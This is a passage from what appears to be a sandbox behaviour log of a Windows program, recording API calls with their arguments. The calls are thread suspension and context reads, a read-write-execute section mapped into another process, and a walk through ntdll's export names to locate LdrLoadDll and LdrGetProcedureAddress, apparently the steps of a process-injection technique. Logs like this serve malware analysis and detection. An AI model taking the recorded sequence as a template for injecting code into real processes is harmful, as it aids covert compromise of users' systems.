Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0070.092] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.092] ResumeThread (hThread=0x10bc) returned 0x1 [0070.092] Sleep (dwMilliseconds=0x64) [0070.200] SuspendThread (hThread=0x10bc) returned 0x0 [0070.200] NtGetContextThread (in: ThreadHandle=0x10bc, Context=0x69edad0 | out: Context=0x69edad0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x2ff158, Rbp=0x77265468, Rsi=0x1, Rdi=0x3928c0, R8=0x0, R9=0x3912f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x13f5437e0, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0070.202] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.202] NtCreateSection (in: SectionHandle=0x69ed9d8, DesiredAccess=0xf001f, ObjectAttributes=0x69eda10*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x69ed9e0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x69ed9d8*=0x4d4) returned 0x0 [0070.202] NtMapViewOfSection (in: SectionHandle=0x4d4, ProcessHandle=0xffffffffffffffff, BaseAddress=0x69ed9d0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x69ed998*=0, ViewSize=0x69ed960*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x69ed9d0*=0x9d80000, SectionOffset=0x69ed998*=0, ViewSize=0x69ed960*=0x136000) returned 0x0 [0070.203] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.291] NtMapViewOfSection (in: SectionHandle=0x4d4, ProcessHandle=0x10f4, BaseAddress=0x69ed9c0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x69ed998*=0, ViewSize=0x69ed960*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x69ed9c0*=0x1d50000, SectionOffset=0x69ed998*=0, ViewSize=0x69ed960*=0x136000) returned 0x0 [0070.292] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0070.293] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0070.294] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9770a90 [0070.294] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x9770a90, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0070.303] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrLoadDll") returned -1 [0070.390] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgPrint", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrLoadDll") returned -1 [0070.391] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrLoadDll") returned -1 [0070.392] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="LdrLoadDll") returned -1 [0070.393] lstrcmpA (lpString1="LdrLoadDll", lpString2="LdrLoadDll") returned 0 [0070.393] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0070.393] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=1064612, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103ea4 [0070.394] ReadFile (in: hFile=0x5bc, lpBuffer=0x69ed960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x69ed998, lpOverlapped=0x0 | out: lpBuffer=0x69ed960*, lpNumberOfBytesRead=0x69ed998*=0x4, lpOverlapped=0x0) returned 1 [0070.395] CloseHandle (hObject=0x5bc) returned 1 [0070.395] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0070.395] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9770a90 [0070.395] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x9770a90, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0070.395] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0070.395] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgPrint", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrGetProcedureAddress") returned -1 [0070.396] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrGetProcedureAddress") returned -1 [0070.397] lstrcmpA (lpString1="EtwEventWriteTransfer", 